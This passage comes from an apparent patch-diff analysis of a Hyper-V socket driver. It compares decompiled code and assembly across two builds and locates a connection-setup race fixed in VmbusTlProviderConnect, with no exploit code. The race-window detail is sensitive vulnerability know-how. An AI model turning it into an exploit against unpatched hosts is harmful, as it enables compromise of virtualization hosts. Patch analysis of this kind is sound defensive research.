&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The wildcard-rejection block inside &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; is likewise present in both. Unpatched (&lt;code&gt;0x1C0019254&lt;/code&gt;) expresses it as inline 8-byte comparisons; patched (&lt;code&gt;0x14001B1A0&lt;/code&gt;) expresses it as &lt;code&gt;memcmp&lt;/code&gt; against named GUID constants, but the logic is the same:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// patched VmbusTlValidateSockAddress&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HV_GUID_ZERO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HV_GUID_CHILDREN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// not a wildcard -&amp;gt; resolve partition, reference it, authorize caller&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlResolvePartitionId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlAuthenticateConnectSockAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// a4 = PEPROCESS&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// wildcard -&amp;gt; &amp;quot;Cannot connect to wildcard addresses.&amp;quot;, returns STATUS_INVALID_ADDRESS&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Anchors&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; calls the validation gate at &lt;code&gt;0x1C001FB98  call VmbusTlValidateSockAddress&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; calls the validation gate at &lt;code&gt;0x140021C94  call VmbusTlValidateSockAddress&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Unpatched &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; calls the caller-authorization routine at &lt;code&gt;0x1C00193F2  call VmbusTlAuthenticateConnectSockAddress&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; calls it at &lt;code&gt;0x14001B325  call VmbusTlAuthenticateConnectSockAddress&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both the gate and the authorization call exist in both builds, so there is no missing-check delta on the connect path.&lt;/p&gt;
&lt;h3&gt;5. The two genuine deltas (neither delivered as a default-on security fix)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;(a) &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt; — Azure-config-gated wildcard-listen denial.&lt;/strong&gt;
Patched &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt; (&lt;code&gt;0x1400078B8&lt;/code&gt;) adds a gate at the top of the function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;HvSocketGetAzureFeatureSetEnabled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// trace, then deny&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3221225992L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000208&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// original logic: find wildcard descriptor, VmbusTlEndpointAccessCheck against its security descriptor&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;HvSocketGetAzureFeatureSetEnabled&lt;/code&gt; (&lt;code&gt;0x14001E5C4&lt;/code&gt;) exists only in the patched build and reads a DWORD registry value under the virtualization key; it returns true only when that value is nonzero. When it is false — the default on an ordinary Hyper-V host — the function runs the exact same access-check path as the unpatched &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt; (&lt;code&gt;0x1C00081AC&lt;/code&gt;), which already performs &lt;code&gt;VmbusTlEndpointAccessCheck&lt;/code&gt; against the wildcard descriptor's / partition's security descriptor. In assembly, the denial is &lt;code&gt;0x1400078E5  call HvSocketGetAzureFeatureSetEnabled&lt;/code&gt; followed by &lt;code&gt;0x1400078F5  mov ebx, 0C0000208h&lt;/code&gt;. Because the original permissive path is retained in the else branch and the gate is off unless the registry value is set, this is a configuration-gated hardening for Azure-configured hosts, not a universally delivered fix. It also does not add any access check that was missing before; wildcard-listen access checking already exists in both builds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(b) &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt; — WIL feature-flag-staged locking change.&lt;/strong&gt;
The patched build introduces the WIL staging flag &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt; (the &lt;code&gt;MSRC97534&lt;/code&gt; token is a Microsoft Security Response Center case identifier). It gates a second fast-mutex acquisition in roughly eight connection/service-association routines, including &lt;code&gt;VmbusTlAssociateConnectionToService&lt;/code&gt;, &lt;code&gt;HvSocketBeginProcessingConnection&lt;/code&gt;, &lt;code&gt;HvSocketPendConnection&lt;/code&gt;, &lt;code&gt;VmbusTlConnectComplete&lt;/code&gt;, &lt;code&gt;HvSocketAcceptIncomingConnection&lt;/code&gt;, &lt;code&gt;VmbusTlAssociateListenerToPartition&lt;/code&gt;, &lt;code&gt;VmbusTlCloseServiceEndpoints&lt;/code&gt;, and &lt;code&gt;VmbusTlDissociateEndpointFromService&lt;/code&gt;. Concretely, in &lt;code&gt;VmbusTlAssociateConnectionToService&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// unpatched (0x1C000A7A0): the (a2+16) fast mutex is taken UNCONDITIONALLY&lt;/span&gt;
&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PFAST_MUTEX&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PFAST_MUTEX&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// patched (0x1400096E0): the (a2+16) fast mutex is taken ONLY when the flag is enabled&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_MSRC97534_57540200__private_IsEnabledNoReportingNoInline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PFAST_MUTEX&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PFAST_MUTEX&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is a lock-discipline reorganization staged behind a runtime feature flag, with the pre-existing behavior reachable depending on the flag state. It carries an MSRC case tag, which indicates Microsoft is addressing a concurrency issue in these association paths, but the change is not delivered unconditionally in this build and its precise reachable impact (for example a specific race or lock-ordering defect) is not determinable from these two binaries alone. It is not the address-authorization issue the report was originally titled around.&lt;/p&gt;
&lt;h3&gt;5b. The delivered fix: connection-establishment race hardening in &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; (CWE-362, delivered unconditionally)&lt;/h3&gt;
&lt;p&gt;Unlike the two feature/config-gated deltas above, &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; (&lt;code&gt;0x1C001F9C0&lt;/code&gt; unpatched / &lt;code&gt;0x140021AC0&lt;/code&gt; patched) carries an &lt;strong&gt;unconditional&lt;/strong&gt; reordering of the connect path that closes a race window between publishing a new connection and finishing its transport setup. No &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt; / &lt;code&gt;IsEnabled&lt;/code&gt; gate guards this change; it is delivered by default.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The synchronization object.&lt;/strong&gt; Each connection endpoint has a &lt;code&gt;NotificationEvent&lt;/code&gt; at &lt;code&gt;endpoint+0x2C8&lt;/code&gt;. It is created in &lt;code&gt;VmbusTlCreateConnection&lt;/code&gt; and initialized &lt;strong&gt;signaled&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlCreateConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0018210&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001832B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Event&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0018332&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;starts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SIGNALED&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0018335&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Type&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NotificationEvent&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001833F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeInitializeEvent&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This event is the "connect complete" gate. The peer-driven action processor waits on it before touching the connection's transport object at &lt;code&gt;endpoint+0x2E0&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlEndpointActionWorkQueueRoutine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0005550&lt;/span&gt;
&lt;span class="mh"&gt;0x1C000580B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2E0&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0005813&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C000591E&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;published&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;yet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;
&lt;span class="mh"&gt;0x1C000581F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb nb-Type"&gt;Object&lt;/span&gt;
&lt;span class="mh"&gt;0x1C000582E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeWaitForSingleObject&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;until&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signaled&lt;/span&gt;
&lt;span class="mh"&gt;0x1C000583A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2E0&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;indirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;through&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Unpatched order (racy).&lt;/strong&gt; On the successful connect path, &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; associates the connection FIRST, while the &lt;code&gt;+0x2C8&lt;/code&gt; event is still in its initial signaled state, and only resets that event afterwards, inside &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlProviderConnect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C001F9C0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001FE1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlAssociateConnectionToPartition&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;publishes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;still&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SIGNALED&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001FE79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;A0h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inline&lt;/span&gt;
